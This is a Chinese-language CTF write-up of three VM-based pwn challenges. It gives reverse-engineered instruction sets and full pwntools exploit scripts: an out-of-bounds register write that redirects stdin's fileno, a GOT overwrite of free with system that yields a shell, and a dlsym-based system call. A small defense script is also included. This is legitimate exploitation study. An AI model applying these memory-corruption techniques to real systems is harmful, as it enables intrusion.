最近做了vm的pwnt题才发现Vm的pwn题是真的有意思,做vm的关键在于逆向,我的逆向太菜了,逆的太慢了,做题速度直接与逆向速度挂钩,导致就做出来一道题,哭了。随便提一句有的没的,广州是真的好,主办方是我见过最良心的主办方,大气+多金。还有一道关于json的pwn,我实在是做不出来,就不写了。

0x01粤湾中心

这一道题比赛现场没时间做,我的逆向太菜了,当时只看懂了一个大概。赛后也想向其他师傅请教了一下。

首先拿到这道题看一下开启的保护

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

这一道题不能直接getshell,因为开启了prctl,禁用了execve

1
2
3
4
5
6
7
8
9
10
11
12
13
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011
0004: 0x15 0x06 0x00 0x0000003b if (A == execve) goto 0011
0005: 0x15 0x00 0x04 0x00000001 if (A != write) goto 0010
0006: 0x20 0x00 0x00 0x00000024 A = count >> 32 # write(fd, buf, count)
0007: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0010
0008: 0x20 0x00 0x00 0x00000020 A = count # write(fd, buf, count)
0009: 0x15 0x01 0x00 0x00000010 if (A == 0x10) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL

这一道题最初打flag文件,然后将fd重定位到了0x233这个地方。所以我们解这一道题的主要思路就是将fileno的值改为0x233,然后当程序读取输入的时候,自动去0x233这个地方读取输入,然后再将输入打印出来,刚好本题结尾处就有这样的条件。

1
2
3
4
printf("Could you tell me your name?");
__isoc99_scanf("%99s", &v0);
printf("Goodbye~ %s\n", &v0);
puts("See you next time.");

所以我们现在只需要将fileno该为0x233就可以了。

这一题提供了加减乘除等等指令。这个题的漏洞就是在读取寄存器的时候,没有对索引值进行检查,导致了越界读写。因此将栈地址改为fileno的地址,通过入栈操作就可以将该题fileno修改了。不过计算起来贼麻烦,我没有自己算,哈哈哈哈哈哈哈 ,贴一下其他师傅的脚本吧。

下面脚本是ditto师傅的,他的博客链接:http://dittozzz.top/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#coding=utf-8
from pwn import *
local = 1
exec_file="./RHVM.bin"
context.binary=exec_file
#context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file,checksec = False)
if local :
a=process(exec_file)
if context.arch == "i386" :
libc=ELF("/lib/i386-linux-gnu/libc.so.6",checksec = False)
elif context.arch == "amd64" :
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec = False)
else:
a=remote("")
def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
text_base,libc_base=get_base(a)
script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script+='''
set $reg = ($text_base+0x0000000000203060)
b *($text_base+0x0000000000001B15)
'''
gdb.attach(a,script)
def fuck(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def opcode(op,idx1,idx2):
p = (op<<16) | (idx1<<8) | idx2
return p
def Init(len):
a.sendlineafter("EIP: ","0")
a.sendlineafter("ESP: ","0")
a.sendlineafter("Give me code length: \n",str(len))
a.recvuntil("Give me code: \n")
def Read(idx1,value):
return opcode(0x40,idx1,value)
def MovDataToReg(idx1,idx2):
return opcode(0x42,idx1,idx2)#reg[reg[idx1]] = data[reg[idx2]]
def MovRegToData(idx1,idx2):
return opcode(0x41,idx1,idx2)#data[reg[idx1]] = reg[idx2]
def SubReg(idx1,idx2):
return opcode(0xd0,idx1,idx2)
def AddReg(idx1,idx2):
return opcode(0xa0,idx1,idx2)
def LeftShift(idx1,idx2):
return opcode(0xe0,idx1,idx2)
def PushReg(idx):
return opcode(0x70,0,idx)
def PopReg(idx):
return opcode(0x80,0,idx)
def MulReg(idx1,idx2):
return opcode(0xc0,idx1,idx2)
payload = [

Read(1,8),# reg[1] = 12
Read(2,1),
SubReg(0,1),# reg[0] = 0-8=-4
SubReg(0,1),# reg[0] = -16
Read(3,4),#reg[3] = 4
MovDataToReg(3,0),# reg[4] = data[-16]
AddReg(0,2),#reg[0] = -15
AddReg(3,2),#reg[3] = 5
MovDataToReg(3,0), # get stderr addr
Read(6,5),#reg[6] = 5
Read(7,8),
AddReg(7,2),#reg[7]= 9
LeftShift(6,7),
AddReg(7,1),
SubReg(7,2),
SubReg(7,2),
Read(1,5),
LeftShift(7,1),
Read(1,8),
AddReg(7,1),
AddReg(7,1),
AddReg(6,7),
SubReg(4,6),# ==> stdin.fileno
SubReg(3,2),
SubReg(4,3),# ==> stdin.fileno-4
AddReg(0,1),#reg[0] = -15+8 = -7
SubReg(0,2),#reg[0] = -8
SubReg(0,2),#reg[0] = -9
MovRegToData(0,5),
SubReg(3,2),#reg[3] = 4
SubReg(0,2),#reg[0] = -10
MovRegToData(0,4),
MulReg(1,1),
AddReg(1,3),
AddReg(1,7),
PushReg(1)# fileno ==> 0x233
]
print len(payload)
Init(len(payload))
debug()
for i in payload:
a.sendline(str(i))
a.interactive()

0x02 粤湾银行

这是一道32位的pwn,比赛的时候没逆清楚,赛后复现出来了。

开启保护:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

该题的结构体

1
2
3
4
5
6
7
8
00000000 Vminfo          struc ; (sizeof=0x2C)
00000000 reg dd 6 dup(?)
00000018 _ESP dd ?
0000001C _EBP dd ?
00000020 _EIP dd ?
00000024 field_24 dd ?
00000028 stack_ptr dd ?
0000002C Vminfo ends

这一题用到了三个指令。这一题有三个指令可以达到任意地址读写。

1
2
3
4
5
6
7
8
def movimm(reg,imm):#将立即数放到任意寄存器
return '\x03'+p8(reg)+p32(imm)
def putchar():#打印出reg[3]地址上的一个字节
return '\x10'+'\x01'
def getchar():#写一个字节到reg[3]存放的地址上
return '\x10'+'\x00'
def addreg(reg):#将任意寄存器的值加一
return '\x20'+p8(reg)

通过上面四条指令可以达到任意地址的读写

我的思路是首先将got表泄露出来,然后劫持free的got表,从而达到getshell

当然,VM是很灵活的解题,解题思路不止一种,因为我只用到了他为数不多的几个指令,还有其他完全不同的思路解题。这就是我喜欢VM的原因,全靠自己逆向,自己的自由度很高,这一题还有一种思路就是通过寄存器的越界读写,修改存放栈的地址,改为got表,也能达到劫持got表的目的,这个想法应该是可行的,就和第一道题的思路类似。

我的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from LibcSearcher import *
p=process("./pwn3")
def debug():
script='''
b *0x80489A3
'''
gdb.attach(p,script)
def new(content):
p.sendlineafter(">>> ",'1')
p.send(content)
def play():
p.sendlineafter(">>> ",'2')
def free():
p.sendlineafter(">>> ",'3')
def movimm(reg,imm):
return '\x03'+p8(reg)+p32(imm)
def putchar():
return '\x10'+'\x01'
def getchar():
return '\x10'+'\x00'
def addreg(reg):
return '\x20'+p8(reg)

payload=movimm(3,0x0804B014)+putchar()+addreg(3)+putchar()+addreg(3)+putchar()+addreg(3)+putchar()
payload+='\xb0'
print payload
context.log_level='debug'
new(payload)
play()
sleep(1)
printf_addr=u32(p.recv(4))
free()
libc=LibcSearcher("printf",printf_addr)
system_addr=printf_addr-libc.dump("printf")+libc.dump("system")
payload=movimm(0,u32('sh\x00\x00'))+movimm(3,0x804B018)+getchar()+addreg(3)+getchar()+addreg(3)+getchar()+addreg(3)+getchar()+'\xb0'
new(payload)
play()
sleep(1)
p.send(p32(system_addr)[0])
p.send(p32(system_addr)[1])
p.send(p32(system_addr)[2])
p.send(p32(system_addr)[3])
free()
p.interactive()

关于怎么防守,说实话,我是没怎么想清楚怎么去防守。因为利用点太多了,真的很困难。

0x03 粤湾证券

这道题是一个攻守兼备的一个VM,根据他提供的VM 来进行逆向分析他的指令集,然后再通过你提供的defense脚本和payload来进行一个攻守兼备的一个模式。

首先看一下这一题开启的保护

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

这一道题很无脑,因为它调用了dlsym,通过这个函数可以直接调用system。不过当时在现场不太了解这个函数,并且没有外网环境,并不知道这个函数用法。对这个函数进行盲测花了很长时间导致其他题没时间做了。这个函数把libc当做handle,第二参数为函数名称的字符串,就会返回函数的真实地址。所以这道题一点都不难,不过可惜在于当时一直以为是函数在libc的偏移量作为函数第二个参数,返回函数真实地址。

我的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64
from pwn import *
p=process("./pwn2")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p=remote("172.16.9.41",9002)
def new(code):
p.sendlineafter("Give me code:",base64.b64encode(code))

p.recvuntil("gift:0x")
#gdb.attach(p)
gift=int(p.recv(12),16)
success("gift====>0x%x"%gift)
code=p64(0x10)+p64(0)+p64(gift+0x0001B3E9A)+p64(0x40)+p64(u64('system'.ljust(8,'\x00')))+p64(gift+0x0001B3E9A)
new(code)
p.interactive()

我的编写defense的脚本:

1
2
3
4
from pwn import *
import base64
with open("/defense",'w') as f:
f.write(p64(0x20)+p64(u64('system'.ljust(8,'\x00')))+p64(u64('system'.ljust(8,'\x00'))))

个人觉得,这个题是最好玩的一个题,希望以后的比赛多来点这种题。不是因为简单,而是因为这个题这种攻守兼备的模式。以题目作为媒介,自己编写攻击和防御脚本来进行对抗,这一点我特别喜欢。不像传统的AWD,通过去修改文件,来修复漏洞,那样少了许多攻击灵活性,但是也不像前道VM题攻击的那么灵活,让你修的无法下手,增加了许多防守的稳定性。